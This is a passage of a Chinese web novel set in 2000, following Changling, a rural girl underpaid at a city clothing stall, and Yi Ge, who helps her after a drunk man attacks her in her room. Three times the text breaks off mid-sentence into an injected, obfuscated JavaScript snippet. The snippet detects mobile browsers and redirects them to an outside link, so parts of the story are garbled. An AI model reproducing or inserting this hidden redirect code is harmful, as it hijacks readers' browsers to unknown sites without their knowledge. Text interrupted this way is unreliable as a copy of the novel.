“啊,底薪三百,两班倒,管一顿饭。要是一个月后都觉得还可以,咱就签合同,每卖一件衣服就给你提成,这些到时候再谈,怎么样?” 昌灵大喜过望,“可以的!” “但我们这是个体户,交不了社保。” 昌灵不太懂什么是社保,也不好意思问。但看其他人照样在这干得好好的,想了想也觉得无所谓。 老板当即拍板,“那要是没问题的话,你什么时候能来?” “什么时候都可以,明天?” “行。”老板说完又抬手指了指她的头发,“你这个头发能不能剪剪,都遮眼睛了。” 昌灵急忙说:“我回去就剪。” “那你明天早上七点之前过来吧,正好进新衣服,早点来试试。” “好! “谢谢您! “真的太谢谢您了!” 14. 2000 天上永远不会掉馅饼。 明明从小烂熟于心的道理,却在进城第一天就被她得意忘形到抛诸脑后。昌灵端着盒饭坐在逃生通道的楼梯上,觉得这段时间自己真是蠢到不能再蠢了。 好工作怎么可能轻易落到她头上。 第一天上班,昌灵发现老板之前说的两班倒,是转正之后才开始两班倒。而她,需要从早上八点一直站到晚上八点关门,工作时间直接翻了一倍。 昌灵当即感到有些别扭,但想着也就一个月,熬过去就好了。直到刚才她意外听见了其他两个店员的谈话。 今天的饭盒送早了十分钟,她拎回去的时候店里只有小丁一个人在。小丁和昌灵年龄相仿,在店里工作了两年多,平时能和她说上几句话。 见人回来,小丁忙接过去盒饭。 昌灵攥了攥勒红的手指,说让她先吃,自己去个洗手间。小贝饿得两眼发昏,忘了提醒昌灵其他两个同事也去了,还没回来。 商厦工作人员的洗手间在走廊尽头,就两个位置,经常需要排队。所以大家有个不成文的规定,如果你在外面等,可以敲敲门,示意一下里面的人,也算是催促。 但昌灵是新来的,没人告诉她这件事。所以在她察觉到里面有人之后,只是默默等在门口。 “哎,今天是不是有荤菜啊?” “是吧,一会儿咱俩快点回去,挑份肉多的。” ——是两个同事的声音。 “你别看那个昌灵平时不声不响的,干活还挺利索,让她替我去拿盒饭她就每天都去。” “得了吧,你就是欺负人家老实,你让她去她能不去吗。” 昌灵眨了眨眼,心道这也没什么,跑趟腿的事。 “我才没欺负她,你别冤枉人啊。要欺负也是老板欺负她,看昌灵是个乡下来的,没在城里打过工。” “可这也太欺负人了,之前那几个没提成还给四五百呢,昌灵一天十几个小时在这,才三百块钱哎。” “三百块钱她还千恩万谢的呢,估计这辈子也没见过这么多钱。反正就是个临时工,你难道还想替她打抱不平啊。” “我没有,这不随便说说嘛。你好了没,饭都该回来了。” 昌灵其实一开始没太听明白同事的话,但在她们推门出来时,她下意识躲在了门后面,没让人看见。 等同事走远了,昌灵才旋开水龙头。呆呆地想,她们刚才是不是说,老板其实只想让她做个便宜的临时工,一个月后给两个钱就打发了的那种? 钱还比之前的临时工更少。 她伸手捧了两把水打在脸上,逃亡成功的兴奋感在这一刻才骤然冷了下来。 原来是被骗了。 小丁是早班,下午下班的时候昌灵找了个借口跟了出去。 “丁姐。” “哎昌灵?怎么了?” “我有点儿事想问问你。”她僵硬地勾了勾嘴角。 “说呀。” “老板她,是不是没有招长期工的打算啊?” 小丁愣了愣,有些尴尬地问这是谁说的。昌灵一五一十把听到的话跟她复述了一遍。 “所以,之前还有很多干一个月就被撵走的人是吗?”昌灵问道。 小丁叹了口气,说:“昌灵,你也别怪我没早点跟你说,我也要吃饭的呀,总不能得罪老板吧。” 那就是真的了,昌灵无措地掐了掐手心。 “不过,我劝你也别跟她闹。”小丁语重心长地说,“这种事之前也有过,闹到最后一分钱都没拿到,白白浪费时间。” “……那我怎么办?” “要我说,先干完这个月,把钱拿到手再说。你又没提成,不用那么费心的。按点来,到点走,穿穿漂亮衣服,老板不在就坐着歇会儿,好好想想以后再干什么。” 为这,晚上昌灵躺在床上翻来覆去地睡不着。后半夜好不容易迷迷糊糊有困意袭来,结果黄燕回来时嗑在了桌子上,吱啦一声,把她惊醒了。 昌灵半睁开眼围着被子坐起来,随手拍开床头的台灯,小声问:“你没事吧?” 黄燕捂着肚子摆摆手,意思是没事。 昌灵看她脸色苍白,不像是没事的样子,下床给她倒了杯热水,“你喝酒了?” 昌灵皱皱眉,“今天怎么下班这么早?” 平常她都是天亮了才回来。 黄燕闭着眼笑了下,“没喝多少。” “这么大酒味儿还没多少,你怎么了?好好的喝这么多干什么?” 昌灵不着边际地想,黄燕上班时间跑出去喝酒,会不会也是失业了? “小昌灵,你也太天真了。”黄燕灌完了一整杯水,点了根烟轻飘飘地说。 “我……”她刚想反驳,又想起来自己刚刚被人骗,只嘟囔道:“也没有吧。” “坐下,咱俩聊聊。”黄燕把另一张凳子踢到她眼前。 昌灵看了一眼窗外黑漆漆的天,这个时间能有什么好聊的,明天还得上班呢。 还没等她拒绝,又听黄燕说:“你想睡觉也可以,过了这村可没这店了,以后你想聊姐姐就不奉陪了,至于不在屋里抽烟的事……” “聊!”昌灵闻言果断坐下,“你想聊什么,说吧。” 黄燕却噤了声,直勾勾盯着面前的空杯子。就在昌灵以为她改主意又不想聊了时,才听见黄燕开口问,“每天你都早出晚归的,在哪上班?” 昌灵摸摸后颈,“也没有早出晚归吧。” “早上六点多就走了,晚上不管我几点上班你都没回来,这还不算早出晚归呢?” 兴许是今夜的黄燕看起来脆弱又和善,昌灵难得打开了话匣子,把白天的事又跟她讲了一遍。本来想着黄燕或许会安慰她两句,没想到这人听完随即翻了个大大的白眼。 “你是不是没脑子啊?”黄燕有气无力地骂道。 昌灵:“……” “卖衣服多少钱你不知道啊?给三百块钱就干十二个小时?廉价劳动力都没你这么廉价。” 可她确实不知道啊。昌灵觉得委屈,说话也带了点不自觉的哽咽,“那我怎么知道你们城里人都这么坏啊。” 黄燕一顿,半晌无语道:“哭什么哭,我说什么了你就哭。” “我没哭。”昌灵把头扭到一边。 小孩就是麻烦。黄燕想了想,抽出根烟递给她,“要不要?” 昌灵把烟推了回去。 “不要拉倒。”黄燕给自己点上,继续吞云吐雾道,“听你刚才的意思是,你第一次来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535009|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里?” 昌灵轻轻嗯了声。 “蠢死了。”黄燕笑着摇摇头,“比我小时候还蠢。” 昌灵疑惑地看向她,这人真奇怪,骂人就骂人,怎么还骂到自己身上了。 黄燕掐了烟头摁在桌子上的花盆里,撑着桌子起身去洗脸,走到一半昌灵听见她说: “早点找新工作吧,别在百利那种地方,干活多钱又少。 “你要是喜欢卖衣服,还不如去小商城里。” “百利不好吗?”昌灵不理解她话语里对百利‘那种地方’的贬低,“在那里上班多体面啊。” 后面迎来的却是黄燕毫不掩饰的嘲讽,她说: 小妹妹,你这种体面有什么用?赚得到钱吗?人啊,还是得务实一点,只有过得好了,那才是真体面。 ** 易阁这个周轮岗分在装卸车间,一上午装了两个货车的机床。 寒冬腊月里热出了一身汗。 “小易。”班长举着装货单对数,路过他时拍了拍易阁的肩膀,“先歇歇吧,吃了饭下午再装。” 易阁笑着点头,摘掉安全帽抓了两下额前的头发,汗味混着劣质洗发精的味儿熏得他头晕。 这些日用品都是租房时在小区门口的小卖部随便买的,抽空得去买些质量好点儿的才行。但他刚来雁山城没几天,也不知道哪里有什么实惠的商场。 “陈工。”易阁喊了身边的老师傅一句,问道:“你们平时都在哪里买东西啊?衣服和生活用品这些。” 陈工吹了吹茶缸里滚烫的开水,咂咂嘴说:“四方路的钟楼百货,衣服家电啥都有,价格也实惠。” 易阁仔细记下了四方路的位置,准备等周天休班就过去。三九八是单休,平时下了班他也懒得出门。 “小易你慢点走,我有点事想跟你说。”去食堂的路上,陈工从后面赶上他说道。 易阁把装货的工服外套搭在肩膀上,笑着说:“您怎么这么客气,就什么事儿直说就行。” 陈工一通唉声叹气,才说自己有个小儿子,比易阁大不了几岁。初中毕业之后就不学无术,白天在家画些看不懂的鬼画符,晚上就出去喝酒鬼混,看着就让人头疼。 易阁不动声色地挑挑眉毛,“陈工,您的意思是?” “你看你俩差不多大,肯定有共同语言吧,能不能帮我去劝劝他,让他向你学习,也来三九八上个班多好。” 易阁撇撇嘴,能吃喝玩乐的,谁会愿意来三九八干辛苦活儿啊。 “陈工,您这话说的,我都还得跟着您学呢。” “哎呀。”陈工摆摆手,“我看你在这也没啥朋友,等周末去我家吃饭吧,我老婆做饭好吃着呢。你不是要买东西吗,叫上我儿子跟你一块去,让他给你带路。” 这老师傅,怎么比他爹还难沟通,朋友也是能强行凑一块儿的啊。 “陈工,我不太擅长这些。”他婉拒道。 “哎呀,吃饭买东西有什么擅长不擅长的,就这么说定了啊,周末去我家吃饭,啊。” “欸……”易阁后面的话还没说完,陈工一溜烟儿小跑着打饭去了。 算了,吃饭就吃饭吧。易阁想,反正岗位还没分,说不准陈工还能帮上点忙,给他调个好岗。 15. 2000 易阁也没想到自己会这么快就见到陈工的儿子。 周六晚上下班,他正琢磨着晚饭再去哪个小店对付点,刚出车间就被人堵在了门口。来人头发半长不长的搭在肩膀上,发梢还带了点卷,像刚从报亭外面摆的杂志封面上抠下来似的。大冷天的,花衬衣外面就穿了件皮衣,还敞着怀儿,冻得话都说不利索。 “你,你就是易阁吧。”他边跺脚边说。 易阁眯了下眼睛,“你认识我?” “一猜就是,你可太好认了。”那人哆嗦着凑上来,“我叫陈家旺,我爸让我来找你的。” “……” 这形象,实在看不出是忠厚老实的陈工养出来的儿子。 易阁扯了扯嘴角,问:“你怎么知道是我?” “三九八这一块属你最帅,这我能认不出来?” 易阁无言以对,片刻后才说:“天都黑了你来找我干嘛,请我吃饭啊。” “可以啊。”陈家旺打了个寒颤,“咱别杵着了,边走边说吧。” “去哪?” “你不是买衣服吗,哥带你去。明天歇班吧,这么着急回家干啥。” 易阁不想去,“这都几点了,人家卖衣服的不下班啊。” “啧。”陈家旺撩了撩头发,“我看你挺聪明啊,说的这是什么话。那可是大商场,都是晚上八九点才下班,要不然怎么做生意啊。” 易阁拉上自己的棉袄拉链说算了,他今天没带几块钱。 陈家旺:“跟哥出去能让你花钱吗。” 易阁想起来陈工经常捧在手里的图案都掉没了的茶缸,问:“你钱很多啊?” “那吃饭的钱还能没有嘛,哎呀你就走吧,反正都得吃饭。 “你来雁山都没出来逛过吧?好玩的多着呢。” 易阁微微蹙眉:“你不是朋友很多吗,为什么非要拉上我?” 陈家旺嘿嘿笑着,神秘兮兮地说:“一会儿你就知道了。” ** 陈家旺不是一个人来的,还带了两个女生,一个红棉袄,一个蓝皮鞋。易阁没仔细看脸,只觉得人叽叽喳喳的有些聒噪。 陈家旺十分哥俩好地搂着他上公交车,还不忘回头跟他的朋友们吹牛,说:“怎么样,我弟弟够帅吧。” 易阁把他的胳膊甩下来,面无表情找了个座位坐下,这是拿他当谈资了,还当着本人的面。 红棉袄跟陈家旺说笑了一会儿后自然而然站到了易阁旁边,“哎哥哥,我想坐这,你让让我行不行?” 易阁说不行。 “哎呀呀。”陈家旺挪了一步挡在红棉袄和易阁中间,“我弟上了一天班,还得给你让座啊,懂不懂事。” “我跟你说话了吗,有你什么事啊,起开啦。” 陈家旺:“我愿意跟你说话行不行?怎么着,今晚上准备去哪吃啊。” 红棉袄笑骂了他几句不要脸,才说:“你不是说陪他去买东西,我知道那附近新开了一家羊肉汤,喝不喝?” “喝呀,当然喝。” 易阁没兴趣跟几个陌生人吃饭,更何况还有女孩在。他垂眸看着前排椅背上的小广告,想着买完洗发露就回家,赶紧把头发上这个熏人的味道洗掉。 坐了十来站,几个人被陈家旺咋咋唬唬拽下了车。易阁留意了一眼不远处的路牌,不是四方路。 他叫了陈家旺一声,“我们不是去那个钟楼百货吗?” 陈家旺笑着凑过来撞了撞他的肩膀,“我说哥们儿你土不土啊,咱这么时髦的人去什么钟楼百货啊。” “那去哪?” “拐个弯儿就到了,你急什么。” 红棉袄闻言朝易阁招招手,“哥哥,一会儿要是有好看的衣服我买给你啊。” 易阁扫了她一眼,淡淡地说:“不用,你的审美跟我不一样。” “啊?什么不一样?” “你这个红棉袄就太时髦了我欣赏不来,我喜欢土的。” 易阁说得正经,但不妨碍几个人听完都笑了起来。 蓝皮鞋趁机偷瞄了他好几眼,易阁余光里看得一清二楚。这种目光他上学时经历了太多,让他觉得不舒服。 可能是周末的缘故,商场人很多。易阁跟在陈家旺后面,刚一进门就被柜台里的金镯子晃了一下眼。 嚯,这可不是他能消费得起的地方。 他叫住陈家旺,“我就想买个洗发露,用不着这么大阵仗吧。” 陈家旺故作老成、语重心长道:“带你见见世面,开开眼,老跟我爸那种老古董呆在一起,你会变成小古董的。” 易阁眉头紧锁,觉得自己今天一脚踏贼船上了。还没等他再说什么,红棉袄就大声招呼着他们上二楼。 “走走走。”陈家旺推了把易阁的胳膊,“逛逛又不要钱咯。” 易阁只得跟着人群慢慢上楼梯。 红棉袄喜欢说话逗他,不管回不回应她都一样来劲,说些有的没的。易阁偶尔敷衍两句,陈家旺就跟着瞎起哄。 如果这不是陈工的儿子,易阁恐怕早就甩手走人了。 “二楼人还少点哎。”红棉袄倒退着走,跟易阁面对面说。 易阁摸了一件衣服的吊牌看,随口说:“你这样怎么看衣服?” “那你帮我看嘛,你看上哪件土衣服我就买哪件好啦。” 易阁放开吊牌继续往前走。 红棉袄笑得开心:“那你觉得我穿这个好看吗?” 易阁想说不好看。话还没出口,有人从身后急匆匆擦着他的手臂跑过去,手里的东西刚巧撞在红棉袄腿上。 “哎——”红棉袄没留神被撞了个踉跄。 对方见状垂着头连声道歉道:“对不起对不起,我不是故意的,你没事吧?” 易阁原本没在意这段小插曲,听到这话却蓦地一怔,这声音是…… 他稍稍歪了下头,这才看清那人刘海遮掩下的熟悉面容。 ——昌灵。 她怎么在这? 昌灵只穿着一件薄薄的毛衫,拎着两大袋像是盒饭的东西,提手都勒进了手指里。头发松松垮垮的绑在颈后,弯腰跟红棉袄道歉时会有两缕不听话的垂在脸侧,看起来十分狼狈。 易阁不自觉地皱眉,这才分开几天,怎么就过成这样了? 昌灵倒是没注意到他,还在不停地道歉,声音像是快哭出来:“真的太对不起了,是我太着急了,你有没有哪里受伤?” 红棉袄拍了拍裤腿,看起来没什么事儿,刚想说什么,就听见不远处有人喊: “昌灵,你墨迹什么呢,想饿死我们呀。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535010|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点凶。 眼前拎着盒饭的女孩头垂得更低,小声回了句马上。 红棉袄见此情景有些不忍心地说,“那人在叫你啊?让一个小女孩拎着么多东西还好意思喊,我没事,你慢点走别那么急。” 昌灵点了两下头,“谢谢你姐姐,那我先走了。” “小心点啊。” 她自始至终都没看见身后的易阁。 等人走远了,红棉袄才不满道:“这些黑店,就知道欺负小女孩。” 陈家旺不管那些,说:“你没磕着吧?走,咱们再去那边看看。” 易阁始终停在原地没动,目光一直跟随着昌灵的背影直至消失不见,脑海中却清晰地浮现出前不久昌灵给他换药时小心翼翼的神情。 片刻后他对陈家旺说:“你们先去逛着吧,我临时有点事。” “去洗手间?去吧。”陈家旺善解人意道,“我们在那边等你。” ** 易阁在昌灵消失的地方转悠了两圈都没看到她的身影,明明就是往这边来的,人呢? 他扶着脖颈四处观望,偶然看见了不远处楼梯间的小门,下意识走近推开一道缝隙往里看了一眼,还真在这。 昌灵正低着头往嘴里扒米饭,连个配菜都没有。 易阁深吸一口气,拧着眉推开了楼梯间的大门。 昌灵闻声看过来,看清来人的脸后很明显一愣,随即尴尬地低头看了一眼自己手里的白饭,片刻后才勉强对他笑了一下。 她轻声说:“你怎么在这?来买东西啊?” 易阁往前迈了两步,反问道:“你呢,你怎么在这?” 昌灵把饭盒盖扣好放在腿上,说:“我在这里上班。” “上班就吃这个?连个菜都没有。” 昌灵看起来有些局促,踯躅片刻:“我没有钱嘛,这能吃饱的。” “一份菜才多少钱?” “……我和别人合租的钱都还没给呢,哪里有钱吃饭呀,再说了我吃这些足够了,一份饭能吃一整天呢。” 易阁莫名觉得心烦,和昌灵对视半晌,从口袋里掏出纸笔写了一串号码给她,认真地说:“这是我们车间的电话,以后你要是吃不起饭了就打这个电话找我。” 昌灵摩挲着号码笑笑,“应该不至于吃不上饭吧,我省一点就是了,怎么好再给你添麻烦。” 易阁更烦躁了,“反正你留着这个号码,有什么事就给我打电话。” “可是……” “别可是了,我还有事先走了,你记得打这个号码。” 易阁说完就风风火火往外走,还不忘给她带上楼梯间的门。 关门的瞬间,昌灵收了脸上刻意展露的无辜神情,垂下眼睫盯着手里的一串号码,而后勾了勾嘴角。 黄燕说得也是对的,体面没什么用,至少体面不会让她这么简单就拿到易阁的联系方式。 过了一会儿小丁推开楼梯间的门,疑惑道:“你怎么没拿菜就过来了?我给你拿过来了。” 昌灵接过自己的那份菜跟她说谢谢。 小丁:“隔壁还说你把她们的盒饭也一起拎上来了,干嘛,锻炼身体?” 昌灵不语,沉默着继续吃饭。 就当她是锻炼身体吧,虽然是在楼下看见某人时才起意的。 16. 2000 不出所料,发工资那天昌灵结束了自己人生中的第一份工作,理由是老板觉得她的性格不合适干销售。 老板的原话是:你还是去找个不用跟人说话的工作比较好。 昌灵捏着三百块钱,没有反驳她的话。 小丁倒是抽空过来安慰了她两句,让她别把老板的话放在心上,反正现在还年轻,想干什么就干呗。 昌灵把钱叠好放在胸口的口袋里,收拾了自己这一个月的零碎东西,拎着塑料袋拐进了隔壁的男装店里。 附近店里的人也都见过她,虽然叫不上名字,但好歹混了个脸熟。见昌灵进门,店主热情道:“哎,你来啦,今天发工资了?” 昌灵点点头,“来看看衣服。” “想买什么样的?我这店里的款式最时髦了。”店主问她,“给谁买的?你爸?” “我朋友。” “那买这个,花衬衣。套毛衣里面,开春也能穿,流行着呢,你们小年轻都爱穿这种。” 昌灵拿起来看了一会儿,觉得不像是易阁会喜欢的衣服。像他那种连蝴蝶结都要系得板板正正的人,衣服自然也是一板一眼的好。 “我再看看。”她说。 昌灵在百利转悠了一个小时,最后买了一件春天才能穿的浅蓝色薄夹克。牛仔布的贵,她选了便宜的。又在路过毛线店时被人忽悠着买了两捆毛线,说是能织个围脖。 她在毛线店学了半天针法,天都黑透了才往回走。 从前下班也是这个时间,但那时候人是累到麻木的,回家路上也是浑浑噩噩。现在难得有了闲暇时光,昌灵才第一次认真欣赏着这个城市的夜色。 路灯很亮,街边卖水果的阿婆挂上了打折的牌子。早点摊的位置现在摆的是磁带和碟片,如果易阁在,看见这些或许会下车买一盒。 易阁…… 想到这,她低头摸了摸手边装衣服的塑料袋。如果给易阁打电话说自己发了工资想请他吃饭,不知道他会不会同意。 应该会吧? 回到宾馆,四楼住的人基本都已经回来了。附近有几间是男人在住,通风和隐私什么的都不讲究,门都直接大开着。昌灵一路上都低着头快步走,生怕一不留神就看见什么不该看的。 就像晚上偶尔会听见些不该听的那样。 直到站在406门口她才稍微松了口气,把钥匙从脖子上摘下来。与以往不同的是,今天钥匙只转动了半圈门就打开了,门没锁。 黄燕没去上班? 昌灵疑惑地皱了下眉,推门往里走。屋子里一片漆黑,怎么连灯也没开。 “燕…… “啊——” 就在她想伸手开灯时,突然一道大力从身旁袭来,昌灵没有防备,被人从身后死死抱住。霎时间,她的耳边只剩下男人粗重的呼吸声。 “宝贝儿,我可想死你了!” 带着浓厚酒气的黏腻呼吸暧昧地扑到她的脖颈里,昌灵一个激灵猛地使出浑身的力气奋力反抗,“放开我!放开我!救命啊!” “嘘,别急别急。”他用力箍着昌灵,“很快。” 挣扎间,昌灵敏感地察觉到有只手摸到了她的裤腰上,还有继续向下的趋势。来不及多想,本能驱使着她摸起手边的什么东西用力朝自己的脑袋上方砸了过去—— 身后的力度骤然消失了。 昌灵脱力般后退,惊魂未定地缩在墙角里。周围的人听到她呼救声慌乱地冲进来,纷乱的脚步,七嘴八舌的询问……灯光亮起时,昌灵从人群的缝隙中看清了那张鲜血直流的脸。 完全陌生的,男人的脸。 而她刚才胡乱砸过去的,是黄燕摆在桌子上的花盆。陶瓷片子碎了一地。 “你还好吧?” “哪来的畜/生,报警!” “快点去报警!” ** 昌灵第一次知道,原来派出所的灯光是惨白色的。 面对警察,那人只说自己醉酒认错了人,去那个房间是找黄燕的。他用纱布捂着头,喋喋不休地说: “黄燕以前一直是一个人住,我也没想到进来的会是别人啊。 “我跟黄燕很熟的,你们找她来,她肯定能帮我解释。 “我怎么可能强/奸呢对不对,犯法的事儿我不可能干的啊。 “而且我也没真碰到她,衣服那么厚呢。” …… 女警给昌灵倒了杯热水,安慰道:“别害怕,黄燕是你室友吗?我们已经给她打电话了。” 昌灵颤抖着接过水杯,“姐姐,我打伤了人,会不会……” “这个没关系的,他受伤不重,而且你是正当防卫,没有过错。。” “真的吗?” “当然,我是警察,怎么会骗你。再说了,受惊吓的人是你,他们还需要跟你郑重的赔礼道歉呢。” 昌灵双手紧紧扣着水杯,缓慢地眨了两下眼。 黄燕来得很快。如果不是说话声音没变,昌灵几乎没认出来眼前这位超短裙高跟鞋的浓妆女人是自己同住了近一个月的室友。 察觉到她的目光,黄燕只回看了一眼,没有打招呼。 “你就是黄燕?”警察惯例检查了她的身份证。 “对。”黄燕赔笑道,“警察同志,今天这事儿应该是误会了。” “你说误会就是误会?”警察登记完她的身份信息,问道:“你在哪里上班?” 黄燕笑意渐浅,片刻后才说:“在银海。” 银海? 昌灵没听说过。 但很显然警察是知道这个名字的,听她说完当即皱了皱眉,随后又问:“那你和孙明是什么关系?” 昌灵跟着黄燕的视线一同看向那边捂着脑袋的孙明,刚巧看见他暗地里朝黄燕使了个眼色。 这是什么意思? 黄燕顿了顿,说:“他是我男朋友,要不然怎么会去找我呢。” “男朋友?男朋友不知道你房间里住了其他人?” “最近工作忙,我们联系比较少。” “是吗,那你们一般什么时候联系?还是不联系进门就能直接睡觉的关系?” 昌灵眯了下眼。 她好像听懂了什么不得了的事。 黄燕闻言咧开嘴苦笑了下,“警察同志,我能跟昌灵单独聊聊吗?” 都在警察眼皮子底下,再单独也独不到哪里去。黄燕叹了口气在昌灵身边坐下,距离太近,她身上的香味、烟味、酒味都无处遁形。 先开口的人却是昌灵,她把凉了的水杯放下,声音很轻,“燕姐?我刚才差点没认出来你。” 黄燕往下拉了拉自己的裙边,面上也没有被看穿的难堪,微微笑着:“昌灵,我对你还算不错吧?” “所以那是你男朋友吗?” “前男友。”黄燕回答道。 昌灵点点头,“这样啊,那你想跟我说什么?” “这件事,说大可大说小可小,全看你怎么说。” “你想让我往小了说?” “你只要说是误会就好了。” “如果我没打伤他,或者那里当时没有人呢?”昌灵平静地反问,“他为什么会有我们房间的钥匙?” “你怀疑是我给他的?”黄燕仰头捋了两下头发,咬牙恨声道:“昌灵,我没你想的那么脏。” “我没想什么。” 黄燕把头扭向一侧,沉吟片刻:“那你想怎么样?怎么才能私下和解?要钱?” 昌灵扫了她一眼。 “好,要多少?五十?” “……” “不够?八十?” 昌灵觉得荒谬又好笑,“这钱也要你来出?那一百五好了。” “你想钱想疯了吧?!”黄燕咬了咬牙,低声提醒道,“你是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535011|186508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未成年人,这事闹大了有麻烦的不只是我,你一样也走不了。你在雁山无亲无故,谁能来派出所接你?” 话落昌灵蓦地睁了下眼,半晌后似笑非笑地跟黄燕说了句‘你好好考虑’就起身来到办公桌前。 打电话的请求警察自然是同意的。 号码不长,昌灵记得很熟。嘟嘟声里,她快速想了几个开场白,又觉得都不够好。 电话接通,另一端传来一道年轻男声,问她找谁。 “你好。”昌灵手指缠着电话线,“请问易阁在吗?” “找易阁?他早下班了。” 下班了……“那你还有什么办法能联系到他吗?” “有急事?你是谁?” 昌灵简单陈述了一遍今晚发生的事,称自己是易阁老家的朋友,说话时又刻意压低了声音,听起来无助又可怜。挂断电话前,那人掷地有声地跟她说:你等着! 想来是会帮她联系易阁的。 从西乡逃出来那天,昌灵心里满是害怕和紧张。而眼前,在未知的等待时间里,她剩下的只有不安和忐忑。 赌易阁的同事能联络到他,赌易阁是个心软的人。 黄燕去外面抽了根烟,回来的时候依旧是愁容满面。其实昌灵无意为难她,毕竟自己没受到什么实质伤害,人也已经被她打了。至于钱,她确实想要,这本来就是她该得的赔偿。虽然不需要一百五那么多。 可现在这件事还事关易阁,眼下这是她在雁山城唯一相熟的人。如果易阁能主动来找她,或许他们之间的关系可以拉近许多。 说不准还可以做朋友。有这样的朋友总没有坏处。 ** 陈家旺原本想骑摩托,却被易阁扯着领子塞进了出租车里。 “哎,这钱你自己出啊,哥可不管。”陈家旺歪头倚在车窗上,问道,“打电话的女孩谁啊,怎么都没听你提过。” “师傅,麻烦快点。”易阁抓着前排椅背,拧眉紧盯着前方。 “别这么急,着急容易出乱子。” “怎么可能不急,如果不是大事她不可能联系我。” 易阁没接到电话,只听陈家旺的转述就知道昌灵吓得不轻,他都能想象出昌灵握着听筒时泪眼汪汪的模样。 如果不是陈家旺今天刚巧跟着陈工在车间里转悠,还不知道大晚上的昌灵一个人该怎么办。 “我看你有点反常啊小易。”陈家旺很是八卦,“老实交代,你俩是什么关系。” 易阁交代不出个所以然。说同学好像太冷漠,要说是朋友,却也不像。只一点,昌灵的突发情况比他想象中还要多。 还严重。 他沉默半晌,下车前才说:“一会儿进去你就说是她表哥,她叫昌灵,昌盛的昌,水灵的灵。” 陈家旺不解,“为啥我是表哥,你扮演啥?” “我没成年,警察要是问起来恐怕会有麻烦。” “啊?”陈家旺不可思议地瞪大了眼睛,“你小子没成年?你几岁啊?” “还差一个月,你别那么多废话了,记清楚了没。” “行,等这事完了再说。” 进门之前易阁做足了准备,甚至还把卫生纸放在了上衣口袋里,只要昌灵哭,他就能一气呵成立马掏出来给她。 可没想到他刚推开门,远远就看见昌灵低着头坐在椅子上,面前站着一个穿得花枝招展的女人,一副高高在上的姿态。 显得昌灵很小,很委屈。 昌灵总是在受委屈。 易阁心里顿生一股无名火,快步走到她身前一把拽起昌灵的胳膊拉至自己身后,厉声警告道:“你离她远点。” 黄燕:“……” 不等眼前的人说话,他又偏头轻声跟昌灵说:“你别怕。” 昌灵微微摇了摇头,手却紧紧抓住了他的胳膊。 易阁想,她应该很怕吧。 17. 2000 “对对对,我是她表哥,我们俩一起从老家过来的。” 表哥? 昌灵认出这是上次和易阁一起出现在百利的长发男,听声音刚才接电话的人也是他。 她躲在易阁身后,看他朋友跟警察沟通。屋子里人太多,不该问的话昌灵一句也没问。 “我妹妹老实巴交一小孩,哪想过会遇见这种事啊。这事儿说起来多荒谬,警察叔叔。 “嫌疑人在哪呢?我倒要看看雁山哪里来的这号人渣。 “还有那个什么室友是吧,这一听就是物以类聚啊,你们可得好好查查,人民群众的安危可不是小事。” 陈家旺在前头越说越来劲,活脱脱一个嫉恶如仇的三好哥哥。易阁张了张嘴,几次想打断他却又都忍住了。这人可太能演了,场面话一套接一套的。 警察听完陈家旺的话拍着胸脯保证道,如果事情真的有内情,一定会仔细调查。 昌灵眼见着黄燕的脸色变得更差,忽地叹了口气,大家过得好像都不是很容易。 孙明蹲在角落里悄摸把黄燕叫过去,两个人窃窃私语不知道说了什么,片刻后黄燕朝昌灵招了招手。 易阁也看见了,跟在昌灵身后陪她过去。 昌灵站在离他们二人两米远的地方停下。 “你考虑好了?”她问道。 黄燕低头轻笑,“昌灵,我以前真是小瞧你了。”说完从包里翻出来一百块钱塞在昌灵的手心,“我就带了这么多,剩下的一会儿回去再给你。” 昌灵很自然地把钱叠好放进了口袋里,易阁看见也没说什么。 达成私下和解之后警察也不会多管,放人前又明里暗里警告了孙明几句,孙明点头哈腰地连连应下,一出门就扯着黄燕往马路对面的小诊所去。 他那金贵的额头是应该重新上一下药。 一时间派出所门口只剩下昌灵、易阁和陈家旺三个人。一阵冷风吹来,陈家旺没忍住打了个喷嚏。 “呃……你们不冷吗?” 有点。昌灵搓了搓手,难得露出点笑意:“今天晚上谢谢你了,表哥。” “表妹别这么客气嘛。”陈家旺说着往后甩了甩头发。 “……”他不会以为自己很帅吧? 易阁在他们中间来回扫了两圈,半晌淡淡地说,“你们再客套一会儿天都要亮了。” “这才几点。”陈家旺摆摆手,“行了,有什么话你俩说吧,我找地方喝酒去了,回见啊表妹。” 昌灵抿着嘴微微点了下头,“注意安全。” 